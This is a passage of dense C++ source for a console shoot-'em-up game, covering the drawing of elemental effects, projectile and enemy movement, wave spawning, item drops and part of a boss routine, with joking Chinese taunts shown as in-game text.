●";Setpos(X+1,Y-0.5),cout<<"│>";}if(Thun>0){Setpos(X-2,Y-1),cout<<"▄▄";Setpos(X+2,Y-1),cout<<"▄▄";Setpos(X,Y+2),cout<<"▌";Setpos(X,Y-2.5),cout<<"▌";Setpos(X-1,Y+1),cout<<"█";Setpos(X+1,Y+1),cout<<"█";Setpos(X-1,Y-2),cout<<"█";Setpos(X+1,Y-2),cout<<"█";}if(Magne>0&&T%7<2)Setpos(X,Y),Color(5),cout<<"★";if(Wind>1){if(T%6<2)Color(1);else Color(0);if(T%8<=1){Setpos(X+1,Y-5);cout<<"----  --";Setpos(X,Y-5);cout<<"-  --- -";Setpos(X-1,Y-5);cout<<"--- - --";}else if(T%8<=3){Setpos(X+1,Y-5);cout<<"------  ";Setpos(X,Y-5);cout<<" --  ---";Setpos(X-1,Y-5);cout<<"----- - ";}else if(T%8<=5){Setpos(X+1,Y-5);cout<<"  ------";Setpos(X,Y-5);cout<<"-- --  -";Setpos(X-1,Y-5);cout<<"- ----- ";}else if(T%8<=7){Setpos(X+1,Y-5);cout<<"--  ----";Setpos(X,Y-5);cout<<" --- -- ";Setpos(X-1,Y-5);cout<<"- - ----";}}if(Water!=0){Color(1);if(T%20<5){Setpos(X+2,Y-3);cout<<"■";Setpos(X+1,Y-3.5);cout<<"■";Setpos(X-1,Y-2.5);cout<<"■";Setpos(X-2,Y-3);cout<<"■";}else if(T%20<10||T%20>=15){Setpos(X+2,Y-3);cout<<"■";Setpos(X,Y-4);cout<<"■■";Setpos(X-2,Y-3);  cout<<"■";}else if(T%20<15){Setpos(X+2,Y-3.5);cout<<"■";Setpos(X+1,Y-3);cout<<"■";Setpos(X-1,Y-3.5);cout<<"■";Setpos(X-2,Y-3);cout<<"■";}}if(Fire!=0){if(T%6<3)Color(4);else Color(5);if(Fir>=1)Setpos(X,Y+1),cout<<"●";if(Fir>=2)Setpos(X+1,Y),cout<<"●";if(Fir>=3)Setpos(X-1,Y-1),cout<<"●";}
        }
        if(a==1||a==3){
            if(B[b].what==1){Nor;Setpos(B[b].x,B[b].y-1);if(ti(B[b].x)==20)cout<<"======";else cout<<"      ";if(B[b].life!=0){B[b].y-=B[b].vy;Setpos(B[b].x,B[b].y);if(B[b].How<=1) Color(13);else Color(4);cout<<"●";if(a==1) Pan(1,B[b].x,B[b].y,b);}}
            if(B[b].what==2){Nor;Setpos(B[b].x-1,B[b].y-1);if(ti(B[b].x-1)==20)cout<<"======";else cout<<"      ";Setpos(B[b].x,B[b].y-1);if(ti(B[b].x)==20)cout<<"======";else cout<<"      ";Setpos(B[b].x+1,B[b].y-1);if(ti(B[b].x+1)==20)cout<<"======";else cout<<"      ";if(B[b].life!=0){B[b].y-=B[b].vy;Setpos(B[b].x,B[b].y);Color(5);if(B[b].How==0){Setpos(B[b].x-1,B[b].y),cout<<"↑";Setpos(B[b].x,B[b].y-1),cout<<"←┼ →";Setpos(B[b].x+1,B[b].y),cout<<"↓";}else if(B[b].How==1){Setpos(B[b].x-1,B[b].y-1),cout<<"↖  ↗";Setpos(B[b].x,B[b].y),cout<<"╳";Setpos(B[b].x+1,B[b].y-1),cout<<"↙  ↘";} if(a==1) Pan(2,B[b].x,B[b].y,b);}}
            if(B[b].what==3||B[b].what==5){Nor;Setpos(B[b].x,B[b].y);if(ti(B[b].x)==20)cout<<"==";else cout<<"  ";if(B[b].life!=0){B[b].y-=B[b].vy;B[b].x-=B[b].vx;Setpos(B[b].x,B[b].y);if(B[b].How==1) Color(5);else Color(4);cout<<"◎";}}
            if(B[b].what==4){Nor;Setpos(B[b].x,fmax((float)0,B[b].y-8));if(ti(B[b].x)==20){for(int i=max(0,(int)B[b].y-8);i<=B[b].y;i++)cout<<"==";}else {for(int i=max(0,(int)B[b].y-8);i<=B[b].y;i++)cout<<"  ";}if(B[b].life!=0){B[b].y-=B[b].vy;Setpos(B[b].x,fmax((float)0,B[b].y-8));Color(6); for(int i=max(0,(int)B[b].y-8);i<=B[b].y;i++)cout<<"═"; if(a==1) Pan(4,B[b].x,B[b].y,b);}}
            if(B[b].what==6||B[b].what==8||B[b].what==9){Nor;Setpos(B[b].x-1,B[b].y);if(ti(B[b].x)-1==20)cout<<"==";else cout<<"  ";Setpos(B[b].x+1,B[b].y);if(ti(B[b].x)+1==20)cout<<"==";else cout<<"  ";Setpos(B[b].x,B[b].y-1);if(ti(B[b].x)==20)cout<<"======";else cout<<"      ";if(B[b].life!=0){B[b].y-=B[b].vy;B[b].x-=B[b].vx;Setpos(B[b].x,B[b].y-1);if(B[b].what==6){if(B[b].How<=1) Color(1); else Color(6);}if(B[b].what==9){if(B[b].How<=1) Color(4); else Color(8);}if(B[b].what==8)Color(5);Setpos(B[b].x-1,B[b].y);cout<<"︹";Setpos(B[b].x+1,B[b].y);cout<<"︺";Setpos(B[b].x,B[b].y-1);if(B[b].How%2==1) cout<<"〔●〕"; else cout<<"﹝○﹞"; if(a==1) Pan(6,B[b].x,B[b].y,b);}}
            if(B[b].what==7){Nor;Setpos(B[b].x,B[b].y);if(B[b].How<0) for(int i=19;i>=20+B[b].How;i--) {Setpos(i,B[b].y);cout<<"  ";}if(B[b].How>0) for(int i=21;i<=20+B[b].How;i++) {Setpos(i,B[b].y);cout<<"  ";}if(B[b].life!=0){B[b].y-=B[b].vy;if(B[b].How<0) for(int i=19;i>=20+B[b].How;i--) {Setpos(i,B[b].y);cout<<"║"; if(a==1) Pan(7,i,B[b].y,b);}if(B[b].How>0) for(int i=21;i<=20+B[b].How;i++) {Setpos(i,B[b].y);cout<<"║"; if(a==1) Pan(7,i,B[b].y,b);}}}
            if(B[b].what==10||B[b].what==11||B[b].what==12){Nor;Setpos(B[b].x,B[b].y);if(ti(B[b].x)==20)cout<<"==";else cout<<"  ";if(B[b].life!=0){B[b].x-=B[b].vx;B[b].y-=B[b].vy;if(B[b].How==1){B[b].vy-=0.2;}else B[b].vx-=0.35;if(B[b].x>=25) B[b].x=25,B[b].vx*=-0.8;if(B[b].what==11&&B[b].y<=1) B[b].y=1,B[b].vy*=-1;if(B[b].what==12&&B[b].y<=1) B[b].y=1,B[b].vx=0,B[b].vy=-0.5,B[b].How=1;Setpos(B[b].x,B[b].y);if(B[b].what==11)Color(1);else if(B[b].what==12)Color(5);else Color(0);if(B[b].t%4<2)cout<<"▃";else cout<<"▍";if(a==1) Pan(B[b].what,B[b].x,B[b].y,b);}}
            if(B[b].what>=13&&B[b].what<=17){Nor;Setpos(B[b].x,B[b].y);if(ti(B[b].x)==20)cout<<"====";else cout<<"    ";if(B[b].life!=0){B[b].x-=B[b].vx;B[b].y-=B[b].vy;Setpos(B[b].x,B[b].y);if(B[b].what==14) Color(1);else if(B[b].what==15) Color(4);else if(B[b].what==16) Color(5);else if(B[b].what==17) Color(3);else Color(2);cout<<"●";if(B[b].what==14)cout<<"*";if(B[b].what==15)cout<<"";if(B[b].what==16)cout<<"<";if(B[b].what==17)cout<<"X";} if(a==1) Pan(1,B[b].x,B[b].y,b);}
            if(B[b].what==98&&B[b].life!=0){B[b].y-=B[b].vy;Setpos(B[b].x,B[b].y);if(ti(B[b].x==20))cout<<"==";else cout<<"  ";if(B[b].y<=3)B[b].life=0;} 
            if(B[b].what>=99){if(B[b].y<=3)B[b].life=0;if(B[b].life!=0){B[b].y-=B[b].vy;Setpos(B[b].x,B[b].y);Color(5);if(B[b].what==99)cout<<"█";if(B[b].what>=100&&B[b].what<200){if(B[b].what%5==0)cout<<"胎";if(B[b].what%5==1)cout<<"神";if(B[b].what%5==2)cout<<"太";if(B[b].what%5==3)cout<<"帅";if(B[b].what%5==4)cout<<"了";}if(B[b].what>=200&&B[b].what<300){if(B[b].what%6==0)cout<<"神";if(B[b].what%6==1)cout<<"级";if(B[b].what%6==2)cout<<"胎";if(B[b].what%6==3)cout<<"神";if(B[b].what%6==4)cout<<"之";if(B[b].what%6==5)cout<<"光";}if(B[b].what>=300&&B[b].what<400){if(B[b].what%8==0)cout<<"颤";if(B[b].what%8==1)cout<<"抖";if(B[b].what%8==2)cout<<"吧";if(B[b].what%8==3)cout<<"无";if(B[b].what%8==4)cout<<"能";if(B[b].what%8==5)cout<<"的";if(B[b].what%8==6)cout<<"人";if(B[b].what%8==7)cout<<"类";}if(B[b].what>=400&&B[b].what<500){if(B[b].what%8==0)cout<<"还";if(B[b].what%8==1)cout<<"不";if(B[b].what%8==2)cout<<"快";if(B[b].what%8==3)cout<<"跪";if(B[b].what%8==4)cout<<"倒";if(B[b].what%8==5)cout<<"在";if(B[b].what%8==6)cout<<"朕";if(B[b].what%8==7)cout<<"前";}if(B[b].what>=500&&B[b].what<600){if(B[b].what%8==0)cout<<"看";if(B[b].what%8==1)cout<<"懂";if(B[b].what%8==2)cout<<"这";if(B[b].what%8==3)cout<<"句";if(B[b].what%8==4)cout<<"话";if(B[b].what%8==5)cout<<"的";if(B[b].what%8==6)cout<<"是";if(B[b].what%8==7)cout<<"猪";} if(a==1) Pan(1,B[b].x,B[b].y,b);}}
            if(B[b].what==-1){Nor;Setpos(B[b].x,B[b].y);if(ti(B[b].x)==20)cout<<"==";else cout<<"  ";if(Boss==0) B[b].life=0;else if(((Boss==1&&abs(B[b].x-Bx1)+abs(B[b].y-By1)<1.5)||(Boss==2&&abs(B[b].x-Bx2)+abs(B[b].y-By2)<1.5)||(Boss==3&&abs(B[b].x-Bx3)+abs(B[b].y-By3)<1.5)||(B[b].t==10))&&B[b].life==1) Bblo-=8+Lv*2,B[b].life=0;if(B[b].life!=0){if(Boss==1)B[b].x=B[b].x+(Bx1-B[b].x)/(10-B[b].t)*1.0,B[b].y=B[b].y+(By1-B[b].y)/(10-B[b].t)*1.0;if(Boss==2)B[b].x=B[b].x+(Bx2-B[b].x)/(10-B[b].t)*1.0,B[b].y=B[b].y+(By2-B[b].y)/(10-B[b].t)*1.0;if(Boss==3)B[b].x=B[b].x+(Bx3-B[b].x)/(10-B[b].t)*1.0,B[b].y=B[b].y+(By3-B[b].y)/(10-B[b].t)*1.0;Setpos(B[b].x,B[b].y);Color(7);if(B[b].t%2==0) cout<<"+";else cout<<"×";}}
            if(B[b].what<=-2&&B[b].what>=-9){Nor;Setpos(B[b].x-1,B[b].y);if(ti(B[b].x)-1==20)cout<<"==";else cout<<"  ";Setpos(B[b].x+1,B[b].y);if(ti(B[b].x)+1==20)cout<<"==";else cout<<"  ";Setpos(B[b].x,B[b].y-1);if(ti(B[b].x)==20)cout<<"======";else cout<<"      ";if(B[b].life!=0){B[b].y-=B[b].vy;B[b].x-=B[b].vx;if(B[b].what<=-3&&B[b].what>=-7){if(B[b].x<=7)B[b].x=7;if(B[b].x>=28)B[b].x=28;else if(B[b].x>=B[b].a+1&&B[b].How==1)B[b].How=0;else if(B[b].x<=B[b].a-1&&B[b].How==0)B[b].How=1;if(B[b].How==1&&B[b].vx>=-1)B[b].vx-=0.2;if(B[b].How==0&&B[b].vx<=1)B[b].vx+=0.2;}if(B[b].what==-2) Color(3);if(B[b].what==-3) Color(4);if(B[b].what==-4) Color(1);if(B[b].what==-5) Color(0);if(B[b].what==-6) Color(6);if(B[b].what==-7) Color(5);if(B[b].what==-8) Color(2);if(B[b].what==-9) Color(14);if(T%7<=1&&B[b].what==-5)Color(1);else if(T%7<=1)Color(0);Setpos(B[b].x-1,B[b].y);cout<<"︹";Setpos(B[b].x+1,B[b].y);cout<<"︺";Setpos(B[b].x,B[b].y-1);if(B[b].what==-2) cout<<"﹝镖﹞";if(B[b].what==-3) cout<<"﹝火﹞";if(B[b].what==-4) cout<<"﹝水﹞";if(B[b].what==-5) cout<<"﹝风﹞";if(B[b].what==-6) cout<<"﹝雷﹞";if(B[b].what==-7) cout<<"﹝磁﹞";if(B[b].what==-8) cout<<"﹝血﹞";if(B[b].what==-9) cout<<"﹝忍﹞"; if(a==1) Pan(-2,B[b].x,B[b].y,b);}}
            if(B[b].what==-11||B[b].what==-12){Nor;Setpos(B[b].x,B[b].y);if(ti(B[b].x)==20)cout<<"==";else cout<<"  ";if(B[b].life!=0){if(Magne>0)B[b].How++,B[b].x=B[b].x+(X-B[b].x)/(10-B[b].How)*1.0,B[b].y=B[b].y+(Y-B[b].y)/(10-B[b].How)*1.0;B[b].y-=B[b].vy;Setpos(B[b].x,B[b].y);if(B[b].what==-10) Color(5);if(B[b].what==-11) Color(7);if(T%7<=1)Color(0);cout<<"◆"; if(a==1) Pan(-1,B[b].x,B[b].y,b);}}
            if(B[b].what==-13){Nor;Setpos(B[b].x,B[b].y-0.5);if(ti(B[b].x)==20)cout<<"===";else cout<<"   ";if(B[b].life!=0){if(B[b].a==13880086){if(Boss==0) B[b].life=0;else if(((Boss==1&&abs(B[b].x-Bx1)+abs(B[b].y-By1)<1.5)||(Boss==2&&abs(B[b].x-Bx2)+abs(B[b].y-By2)<1.5)||(Boss==3&&abs(B[b].x-Bx3)+abs(B[b].y-By3)<1.5)||(B[b].t==5))&&B[b].life==1) Bblo-=8+Lv*2,B[b].life=0;if(B[b].life!=0){if(Boss==1)B[b].x=B[b].x+(Bx1-B[b].x)/(5-B[b].t)*1.0,B[b].y=B[b].y+(By1-B[b].y)/(5-B[b].t)*1.0;if(Boss==2)B[b].x=B[b].x+(Bx2-B[b].x)/(5-B[b].t)*1.0,B[b].y=B[b].y+(By2-B[b].y)/(5-B[b].t)*1.0;if(Boss==3)B[b].x=B[b].x+(Bx3-B[b].x)/(5-B[b].t)*1.0,B[b].y=B[b].y+(By3-B[b].y)/(5-B[b].t)*1.0;}}else{if(B[B[b].a].life==0) B[b].life=0;else if((abs(B[b].x-B[B[b].a].x)+abs(B[b].y-B[B[b].a].y)<1.5||(B[b].t==5))&&B[b].life==1) Exp+=2,B[B[b].a].life=B[b].life=0;if(B[b].life!=0){B[b].x=B[b].x+(B[B[b].a].x-B[b].x)/(5-B[b].t)*1.0,B[b].y=B[b].y+(B[B[b].a].y-B[b].y)/(5-B[b].t)*1.0;}}Setpos(B[b].x,B[b].y-0.5);if(T%6<3)Color(5);else Color(4);cout<<"●";}}
        }if(br<bl) {br=-1,bl=0;memset(B,0,sizeof(B));}Color(0);
    }
    void Move(){
        if(X<3) X=3;if(Y<1) Y=1,Vy=0;if(Y>29) Y=29,Vy=0;
        if(Ice!=0){X-=Vx/2.0;Y+=Vy/2.0;Vy=fmax(Vy-0.025,(float)0);if(T%6==0&&Up==0&&Y<Ding) Y+=0.25;if(T%6==3&&Up==0&&Y>=Ding) Y-=0.25;if(Up==0&&Y<=Ding-1.25) Vy=0.25;if(Up==0&&Y>=Ding+1.25&&Wind==0) Vy=-0.25;if(Up==0&&Down==0&&Vx>0&&X<=18) Up=0,Down=0,Vx=0,Vy=0,X=18,Setpos(20,Y-2.5),cout<<"==========";else if(Down==2&&X<=22) Up=0,Down=1,Vx=0,Vy=0,X=22,Setpos(20,Y-2.5),cout<<"==========";else if(Up==0&&Down==1&&Vx<0&&X>=22) Up=0,Down=1,Vx=0,Vy=0,X=22,Setpos(20,Y-2.5),cout<<"==========";else if(Up>0&&Down==0&&X>18) Up=0,Vx=0,Vy=0,X=18,Setpos(20,Y-2.5),cout<<"==========";else if(Down==2) Vx+=0.175;else if(Up>0&&Upt==0) Vx-=0.175;else if(Up>0&&Upt>0) {Vx=fmax(Vx-0.125,(float)0);if(Upt==1&&T%2==0)Map(-1,0);if(T%2==0)Upt--;}}
        else{X-=Vx;Y+=Vy;Vy=fmax(Vy-0.05,(float)0);if(Wind==0){if(T%6==0&&Up==0&&Y<Ding) Y+=0.5;if(T%6==3&&Up==0&&Y>=Ding) Y-=0.5;}else{if(T%2==0&&Up==0&&Y<Ding) Y+=0.5;if(T%2==1&&Up==0&&Y>=Ding) Y-=0.5;}if(Up==0&&Y<=Ding-1.25) Vy=0.5;if(Up==0&&Y>=Ding+1.25&&Wind==0) Vy=-0.5;if(Up==0&&Down==0&&Vx>0&&X<=18) Up=0,Down=0,Vx=0,Vy=0,X=18,Setpos(20,Y-2.5),cout<<"==========";else if(Down==2&&X<=22) Up=0,Down=1,Vx=0,Vy=0,X=22,Setpos(20,Y-2.5),cout<<"==========";else if(Up==0&&Down==1&&Vx<0&&X>=22) Up=0,Down=1,Vx=0,Vy=0,X=22,Setpos(20,Y-2.5),cout<<"==========";else if(Up>0&&Down==0&&X>18) Up=0,Vx=0,Vy=0,X=18,Setpos(20,Y-2.5),cout<<"==========";else if(Down==2) Vx+=0.35;else if(Up>0&&Upt==0) Vx-=0.35;else if(Up>0&&Upt>0) {Vx=fmax(Vx-0.25,(float)0);if(Upt==1)Map(-1,0); Upt--;}}
        for(int i=bl;i<=br;i++){
            if(B[i].what<98)if(B[i].x-B[i].vx<=5||B[i].x-B[i].vx>=30||B[i].y-B[i].vy<=0||B[i].y-B[i].vy>=30){B[i].life=0;Map(1,i);}
            for(int j=0;j<20;j++)if(B[i].what>0&&B[i].life!=0&&abs(B[i].x-I[j][0])<2&&B[i].y-I[j][1]<=2){Setpos(I[j][0],I[j][1]);if(I[j][0]==20) cout<<"===";else cout<<"   ";I[j][0]=I[j][1]=-1;B[i].life=0;Exp+=2;}
            if(B[i].t>=100)B[i].life=0;if(B[i].life==0&&i==bl) bl++;
            Map(1,i);if(B[i].life==0) continue;
            else{B[i].t++;
                if(B[i].what==1){if(B[i].y<=25&&B[i].How==0) B[i].vy=0,B[i].How=1;if(B[i].t==30) B[i].y+=1.5,B[i].How=2;if(B[i].t==35) B[i].vy=1.5,B[i].How=3;}
                if(B[i].what==2){if(B[i].t%3==0) B[i].How=!B[i].How;} 
                if(B[i].what==3||B[i].what==5){if(B[i].what==3&&B[i].y<=20) B[i].vy=0;if(B[i].what==5&&B[i].y<=21) B[i].vy=0;if(B[i].t>30&&B[i].t%2==0) B[i].How=!B[i].How;if(B[i].what==5&&B[i].t<=30&&B[i].x<X) B[i].vx=-0.2;else if(B[i].what==5&&B[i].t<=70&&B[i].x>X) B[i].vx=0.2;else B[i].vx=0;if(B[i].t==45){B[i].life=0;br++;B[br].what=4;B[br].x=B[i].x;B[br].y=32;B[br].vy=3;B[br].life=1;}}
                if(B[i].what==6||B[i].what==8||B[i].what==9){if(B[i].vx<0.25&&B[i].vy<0.25&&B[i].t>=50){B[i].life=0;if(B[i].life==0&&i==bl) bl++;Map(1,i);break;}if(B[i].t%5==0) B[i].How=rand()%4;if(B[i].what==9){if(B[i].t==7){X9:float xx=(rand()%41)/40.0,yy=(rand()%41)/40.0;if(xx<=0.5&&yy<=0.5) goto X9;for(int j=1;j<=4;j++){br++,B[br].what=9;B[br].t=11;B[br].x=B[i].x,B[br].y=B[i].y,B[br].vx=xx,B[br].vy=yy;if(j%2==0)swap(B[br].vx,B[br].vy),B[br].vy*=-1;if(j<=2)B[br].vx*=-1,B[br].vy*=-1;B[br].life=1;}B[i].life=0;}}if(B[i].what==8){if(B[i].x>X&&B[i].vx<1.2) B[i].vx+=fmax((float)0,0.2-B[i].t/25);if(B[i].x<X&&B[i].vx>-1.2) B[i].vx-=fmax((float)0,0.2-B[i].t/25);if(B[i].y>Y&&B[i].vy<1.2) B[i].vy+=fmax((float)0,0.2-B[i].t/25);if(B[i].y<Y&&B[i].vy>-1.2) B[i].vy-=fmax((float)0,0.2-B[i].t/25);}}
                if(B[i].what>=13&&B[i].what<=15&&B[i].How!=0){if(B[i].x==B[i].How)B[i].vx=0,B[i].How=0;}
                if(B[i].what==16){if(B[i].x<X&&B[i].vx>=-1) B[i].vx-=0.2;else if(B[i].x>X&&B[i].vx<=1) B[i].vx+=0.2;}
            }
            if(B[i].life==1&&B[i].a==0&&B[i].what>0){if(B[i].y>Y&&abs(B[i].x-X)<=3&&((B[i].x-X)*(B[i].x-X)+(B[i].y-Y)*(B[i].y-Y))<Dis) Dis=(B[i].x-X)*(B[i].x-X)+(B[i].y-Y)*(B[i].y-Y),Disb=i;else if(((B[i].x-X)*(B[i].x-X)+(B[i].y-Y)*(B[i].y-Y))<Dis1) Dis1=(B[i].x-X)*(B[i].x-X)+(B[i].y-Y)*(B[i].y-Y),Disb1=i;}
        }
    }
    void Guai(int R,int r){
        if(R==-1){br++;B[br].what=-1;B[br].x=X+rand()%3-1;B[br].y=Y+rand()%3-1;B[br].life=1;}
        if(R<=-2&&R>=-11){br++;B[br].what=R;B[br].x=B[br].a=r;B[br].y=29;if(R<=-3&&R>=-7)B[br].vx=-1;B[br].vy=1;B[br].life=1;}
        if(R==0){br++;B[br].what=1;B[br].x=r;B[br].y=29;B[br].vy=1;B[br].life=1;}
        if(R==1){br++;B[br].what=2;B[br].x=r;B[br].y=29;B[br].vy=1;B[br].life=1;}
        if(R==2||R==3){br++;B[br].what=2*R-1;B[br].x=r;B[br].y=29;B[br].vy=1;B[br].life=1;}
        if(R==4){br++;B[br].what=6;if(r<5)r=5;if(r>30)r=30;B[br].x=r;if(r==11||r==25) B[br].y=29-(rand()%20);else B[br].y=29;X4:B[br].vx=(rand()%21-10)/30.0;B[br].vy=(rand()%25)/30.0;if(B[br].vx<=0.8&&B[br].vy<=0.8)goto X4;int rx=rand()%50;if(rx==0) B[br].vx=0;B[br].life=1;}
        if(R==5){br++;B[br].How=r;B[br].what=7;if(B[br].How<0) B[br].x=19;if(B[br].How>0) B[br].x=21;B[br].y=29;B[br].vy=1;B[br].life=1;}
    }
    void CpGuai(int R,float x,float y,float xx,float yy){
        if(R==4){br++;B[br].what=6;B[br].x=x;B[br].y=y;B[br].vx=xx;B[br].vy=yy;B[br].life=1;}
        if(R==6||R==7||R==8){br++;B[br].what=4+R;B[br].x=x;B[br].y=y;B[br].vx=xx;B[br].vy=yy;B[br].life=1;}
    }
    void MesGuai(int a,int rr){
        int R=rand()%rr,r=-10086;
        if(R==0){if(a==1) r=(5+rand()%8)*2;if(a<=3&&a!=1) r=10+rand()%16;if(a==4) r=rand()%75-20;if(a==5) r=2+rand()%4;if(r!=-10086) Guai(a,r);}
    }
    void NorGuai(int a,int b){
        if(a==1) {if(b==1||b==41) Guai(0,15),Guai(0,17),Guai(0,19);if(b==21||b==61) Guai(0,21),Guai(0,23),Guai(0,25);if(b==81) Guai(0,11),Guai(0,13),Guai(0,15),Guai(0,17),Guai(0,19);if(b==101||b==141) Guai(0,17),Guai(0,19),Guai(0,21),Guai(0,23),Guai(0,25);if(b==121) Guai(0,15),Guai(0,17),Guai(0,19),Guai(0,21),Guai(0,23);if(b>=160&&b<=260&&b%10==0) Guai(0,b/10-1);if(b>=270&&b<=370&&b%10==0) Guai(0,52-b/10);if(b>=460&&b<=560&&b%10==0) Guai(0,b/10-37),Guai(0,b/10-36),Guai(0,b/10-35);if(b>=570&&b<=670&&b%10==0) Guai(0,78-b/10),Guai(0,77-b/10),Guai(0,76-b/10);if(b>=760&&b<=960&&b%10==0) Guai(0,b/10-66),Guai(0,b/10-65),Guai(0,103-b/10),Guai(0,104-b/10);if(b>=1000&&b<=1300) MesGuai(0,30-b/50);}
        if(a==2) {if(b<=200&&b%30==1) {int r=rand()%4;if(r==1) r=0;for(int i=0;i<4;i++) if(i!=r) Guai(1,i*4+9);}if(b>200&&b<=220&&b%5==1) Guai(1,18);if(b>220&&b<=300&&b%7==1) Guai(1,b/5-26);if(b>350&&b<=370&&b%5==1) Guai(1,22);if(b>370&&b<=450&&b%7==1) Guai(1,96-b/5);if(b==461||b==501||b==541) Guai(1,13),Guai(1,17),Guai(1,21);if(b==481||b==521||b==561) Guai(1,17),Guai(1,21),Guai(1,25);if(b>=561&&b<=861&&b%20==1) Guai(1,b/40+5);if(b>=561&&b<=861&&b%20==11) Guai(1,35-b/40);if(b>=801&&b<=961&&b%15==1) Guai(1,20);if(b>=1000&&b<=1300) MesGuai(1,30-b/50);}
        if(a==3) {if(b==1||b==61) Guai(3,15),Guai(2,17),Guai(2,19);if(b==31||b==91) Guai(2,21),Guai(2,23),Guai(3,25);if(b>=120&&b<=220&&b%10==0) Guai(2,b/10+3);if(b>=240&&b<=340&&b%10==0) Guai(2,49-b/10);if(b>=360&&b<=460&&b%20==0) Guai(2,b/10-21),Guai(2,61-b/10);if(b>=480&&b<=580&&b%20==0) Guai(3,b/10-33),Guai(3,73-b/10);if(b>=600&&b<750&&b%30==0) {for(int i=0;i<5;i++) Guai(3,i*3+10);}if(b>=750&&b<830&&b%10==0) if(b<=200&&b%40==1) Guai(2,X);if(b>=830&&b<910&&b%20==0) Guai(2,X);if(b>=910&&b<980&&b%10==0) Guai(2,X);if(b>=1000&&b<=1300) MesGuai(rand()%2+2,40-b/50);}
        if(a==4) {if(b==1) CpGuai(4,10,29,-0.4,0.7),CpGuai(4,14,29,-0.2,0.7),CpGuai(4,21,29,0,0.65);if(b==41) CpGuai(4,10,29,-0.2,0.7),CpGuai(4,14,29,-0.1,0.7),CpGuai(4,18,29,0,0.65);if(b==81) CpGuai(4,5,20,-0.4,0.35),CpGuai(4,10,29,-0.4,0.7),CpGuai(4,14,29,-0.2,0.7),CpGuai(4,30,20,0.25,0.4),CpGuai(4,21,29,0,0.65);if(b==121) CpGuai(4,5,20,-0.2,0.35),CpGuai(4,10,29,-0.2,0.7),CpGuai(4,14,29,-0.1,0.7),CpGuai(4,30,20,0.4,0.4),CpGuai(4,18,29,0,0.65);if(b==161) CpGuai(4,10,29,-0.4,0.7),CpGuai(4,14,29,-0.2,0.7),CpGuai(4,21,29,0,0.6),CpGuai(4,10,29,-0.2,0.7),CpGuai(4,14,29,-0.1,0.7),CpGuai(4,18,29,0,0.65);if(b>=200&&b<=500&&b%40==1) {float r=0,rr;for(int i=1;i<=5;i++){X5:rr=0.7+(rand()%5)/10.0;if(rr==r)goto X5;r=rr;CpGuai(4,i*3+7,29,0,0.5+(rand()%50)/80.0);}}if(b>540&&b<=565&&b%5==1) CpGuai(4,5,8,-2,0.2);if(b>590&&b<=615&&b%5==1) CpGuai(4,30,8,1.5,0.2);if(b>640&&b<=665&&b%5==1) CpGuai(4,5,8,-1.5,0.3);if(b>690&&b<=715&&b%5==1) CpGuai(4,30,8,2,0.3);if(b>=750&&b<=950&&b%20==1) {float r=0,rr;for(int i=1;i<=3;i++){X6:rr=0.7+(rand()%5)/10.0;if(rr==r)goto X6;r=rr;CpGuai(4,i*5+7+(rand()%3),29,0,0.5+(rand()%50)/200.0);}}if(b>=1000&&b<=1300) MesGuai(4,5);}
    }
    void RandGood(){
        if(Biao>0){Biao--;Guai(-1,0);}
        if(Gd[1]==0){Gd[1]=rand()%1000+1;if(Win==7)Gd[1]=10086;Gd[3]=rand()%16+8;}
        else if(Gd[1]<=5){Guai(-2-Gd[1],Gd[3]);memset(Gd,0,sizeof(Gd));}
        else if(Gd[1]>=20&&Gd[1]<27){Guai(-8,Gd[3]);memset(Gd,0,sizeof(Gd));}
        else if(Gd[1]>=30&&Gd[1]<37){Guai(-9,Gd[3]);memset(Gd,0,sizeof(Gd));}
        else if(Gd[1]>=40&&Gd[1]<70){Gd[2]++;if(Gd[2]%2==1)Guai(-10,Gd[3]);if(Gd[2]>=9)memset(Gd,0,sizeof(Gd));}
        else if(Gd[1]>=70&&Gd[1]<100){Gd[2]++;if(Gd[2]%2==1)Guai(-11,Gd[3]);if(Gd[2]>=9)memset(Gd,0,sizeof(Gd));}
        else if(Boss!=0&&Gd[1]>=450&&Gd[1]<=500){Guai(-2,Gd[3]);memset(Gd,0,sizeof(Gd));}
        else Gd[1]=0;
        for(int i=0;i<20;i++){if(I[i][0]==-1) continue;Setpos(I[i][0],I[i][1]);Color(0);if(I[i][0]==20) cout<<"===";else cout<<"   ";I[i][1]++;if(I[i][0]>=28||I[i][0]<=0||I[i][1]>=29) I[i][0]=I[i][1]=-1;else Color(1),Setpos(I[i][0],I[i][1]),cout<<"■";Color(0);}
    }
    void Panboss(int bx,int by){
        float Nox[4],Noy[4];Nox[0]=X,Noy[0]=Y;
        if(Down==1&&X==22) Nox[1]=X+1,Noy[1]=Y-0.5,Nox[2]=X-1,Noy[2]=Y-0.5;
        else if(Down==2) Nox[1]=X+1,Noy[1]=Y-0.5,Nox[2]=-10,Noy[2]=-10;
        else if(Down==1||X<18) Nox[1]=X-1,Noy[1]=Y-0.5,Nox[2]=-10,Noy[2]=-10;
        else Nox[1]=X+1,Noy[1]=Y-0.5,Nox[2]=X-1,Noy[2]=Y-0.5;
        for(int i=0;i<3;i++){if((Boss==1||Boss==6)&&Wind==0&&Thun==0&&abs(Nox[i]-bx)<1&&abs(Noy[i]-by)<1&&Bgo1[4]==0) Blo-=20,Bgo1[4]=1,Killb=20,Kill=1;if((Boss==2||Boss==6)&&Wind==0&&Thun==0&&abs(Nox[i]-bx)<1&&abs(Noy[i]-by)<1&&Bgo2[8]==0) Blo-=20,Bgo2[8]=1,Killb=20,Kill=1;}
    }
    void Boss1(){
        for(int j=0;j<20;j++)if(abs(Bx1-I[j][0])<2&&By1-I[j][1]<=2){Setpos(I[j][0],I[j][1]);if(I[j][0]==20) cout<<"===";else cout<<"   ";I[j][0]=I[j][1]=-1;Bblo-=8+Lv*2;Exp+=2;}
        if(Bbr==Bbl&&Bbr!=0) Bbr=Bbl=0;
        for(int i=1;i<=3+(Bbl-Bbr)/5;i++)if(Bbr<Bbl){Setpos(Bway[Bbr][0],Bway[Bbr][1]);if(Bway[Bbr][0]==20) cout<<"==";else cout<<"  ";Bbr++;}
        if(Bwhat1==5){int bx,by;Color(5);for(int i=0;i<10;i++){bx=Bx1-i*Bvx1/10.0;by=By1-i*Bvy1/10.0;Setpos(bx,by),cout<<"█";Bbl++;Bway[Bbl][0]=bx;Bway[Bbl][1]=by;}Color(0);}
        Bx1-=Bvx1;By1-=Bvy1;
